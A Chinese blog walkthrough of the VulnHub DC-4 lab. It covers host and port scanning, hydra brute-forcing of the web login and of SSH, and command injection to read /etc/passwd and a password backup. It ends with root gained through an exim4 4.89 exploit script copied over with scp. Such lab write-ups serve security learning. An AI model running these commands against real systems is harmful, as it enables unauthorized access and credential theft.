首页 > 其他分享 >vulnhub靶机:dc4

vulnhub靶机:dc4

时间:2024-03-08 14:58:25浏览次数:23  
标签:10.9 exim4 jim scp 提权 vulnhub 靶机 dc4 23.52

一:信息收集

1:主机发现

arp-scan -I eth0 10.9.23.0/24

kali的ip

10.9.23.112

靶机的ip

10.9.23.52

2:端口扫描

nmap -A -p- -T4 10.9.23.52

3:端口探测

二:渗透测试

1:密码爆破

尝试九头蛇进行爆破

构建语句:

hydra -l admin -P pass.txt 10.9.23.52 http-post-form "/login.php:username=^USER^&password=PASS:S=logout" -F

  • "/login.php:username=^USER^&password=^PASS^:S=logout":这是指定登录表单的位置和字段。USERPASS是占位符,Hydra会用用户名和密码进行替换。":S=logout"告诉Hydra在找到正确的凭据后注销会话。
  • -F:这个标志告诉Hydra在找到正确的凭据后停止攻击。

利用bp爆破

爆破出账户密码为

admin

happy

2:指纹探测

登录测试

发现run可以提交命令,用bp利用一下文件读取漏洞

whoami

cat+/etc/passwd

发现三个用户,经过测试可以发现jim的家目录可以访问

ls+-l+/home/jim

查看目录中的文件,发现在backups中有old-passwords.bak文件,查看:

ls+-l+/home/jim/backups

cat+/home/jim/backups/old-passwords.bak

保存其中的密码到文件1.txt,然后可以用hydra对jim用户进行ssh登录密码爆破:

hydra -l jim -P 1.txt ssh://10.9.23.52

得到密码

jim

jibril04

ssh登录:

3:提权

查看可以使用哪些命令:
find / -perm /4000

find / -perm -u=s -type f 2>/dev/null

发现有exim4命令,可以提权。

exim4是一种邮件传输代理(MTA),用于路由和传递电子邮件。

查看exim4的版本号为4.89:

/usr/sbin/exim4 --version

在kali中寻找提权的方法:

searchsploit exim

存在本地提权

发现46996.sh脚本可以提权,将其发送到DC-4中

find / -name 46996.sh

scp /usr/share/exploitdb/exploits/linux/local/46996.sh [email protected]:/home/jim

scp是Secure Copy的缩写,是一个用于在两台计算机之间安全地复制文件或目录的命令。通过scp命令,可以在本地计算机和远程计算机之间进行文件的传输,同时保证传输过程中的数据安全性。scp命令可以通过SSH协议进行数据传输,因此在使用scp命令时需要输入远程计算机的用户名和IP地址或域名

执行46996.sh文件:

成功提权

获取最终flag

标签:10.9,exim4,jim,scp,提权,vulnhub,靶机,dc4,23.52
From: https://www.cnblogs.com/woaishuaidan/p/18060929

相关文章

  • vulnhub靶机:dc3
    一:信息收集1:主机发现arp-scan-Ieth010.9.23.0/24kali的ip10.9.23.112靶机的ip10.4.9.23.2432:端口扫描nmap-A-p--T410.9.23.2433:端口探测提示要获取root权限4:目录遍历查看Wapplayzer信息:使用的Joomla系统,所以使用joomscan(Joomla漏洞扫描器)扫描器扫描:joom......
  • vulnhub靶机:driftingblues7
    一:信息收集1:主机发现arp-scan-Ieth010.9.23.0/24kali的ip:10.9.23.112靶机ip:10.9.23.932:端口扫描nmap-A-p--T410.9.23.93开放了22,66,80,443,3306端口3:端口探测访问66端口,因为是上面运行了SimpleHttpServer访问80端口,发现一个登录界面,来百度搜索Eyesofnetwork发......
  • vulnhub靶机分配不到ip详细解决方法
    一:vmwore修改系统配置1:ro修改成rwsingleinit=/bin/bash2:ctrl+x进入bash3:IPa查看它属于哪块网卡4:vi/etc/network/interfaces进入网卡配置信息将auto和iface后的网卡改回来5:重启服务/etc/init.d/networkingrestart6:IPa就可以看到获取成功重启即可二:virtubox最终......
  • vulnhub靶机:dc-2
    一:主机发现arp-scan-Ieth010.4.7.0/24kaliip:10.4.7.128靶机IP:10.4.7.151二:端口扫描nmap-T4-sV-p--A10.4.7.151三:信息收集无法访问更改host文件vim/etc/hosts通过flag1的提示,我们需要使用cewl爆破出用户名和密码,因为他用wordpress框架搭建,我们先使用wpsca......
  • vulnhub靶机:dc-1
    一:信息收集1:主机发现arp-scan-Ieth010.4.7.0/24kali的IP:10.4.7.128靶机ip:10.4.7.1502:端口扫描nmap-T4-sV-p--A10.4.7.1503:信息收集启动Metersploit:msfconsole用search命令查找与Drupal有关的漏洞:searchdrupal选取2018的进行测试,因为有远程代码执行漏......
  • vulnhub靶机:doubletrouble
    一:信息收集1:主机发现2:端口扫描3:敏感目录探测二:渗透测试1:敏感目录扫到三个需要重点关注http://10.4.7.140/core发现该目录下存在很多敏感文件,其中有一个文件下有邮箱用户名和密码,应该是mysql数据库的用户名和密码http://10.4.7.140/uploads猜测该目录应该是登陆后上传......
  • vulnhub靶机:venus
    一:主机发现arp-scan-Ieth010.4.7.0/24二:端口扫描发现开放了22和8080端口三:敏感目录扫描四:渗透测试访问8080端口他说来宾用户可以登录我们找到一个/admin目录访问:http://10.4.7.142:8080/admin它将我们重定向到Django管理登录门户:http://10.4.7.142:8080/adm......
  • vulnhub靶机:thm-contain
    一:信息收集1:主机发现foriin{1..254};do(ping10.4.7.$i-c1-w5>/dev/null&&echo"10.4.7.$i"&);done2:扫描端口forportin{1..65535};doecho>/dev/tcp/10.4.7.134/$port&&echo"port$portisopen"done2>......
  • vulnhub靶机:cereal
    一:信息收集1:主机发现2:端口扫描3:敏感目录扫描二:外部信息1:先试试ftp登录nmap扫到的结果显示它支持匿名登录df4770f645f9ba25c8b90c55760e82950d6245c0ad78ce8ddcdbd6c4947b1da2没发现什么东西2:http登录发现一个域名cereal.ctf扫一下目录sudogobusterdir-uht......
  • vulnhub靶机:driftingblues-6
    一:主机发现arp-scan-Ieth010.9.23.0/24二:端口扫描nmap-T4-sV-p--A10.9.23.54内核3.2可能存在脏牛漏洞三:目录探测dirbhttp://10.9.23.54http://10.9.23.54/robots.txt10.9.23.54/textpattern/textpatternadd.zipextensiontoyourdir-brutehttp://10......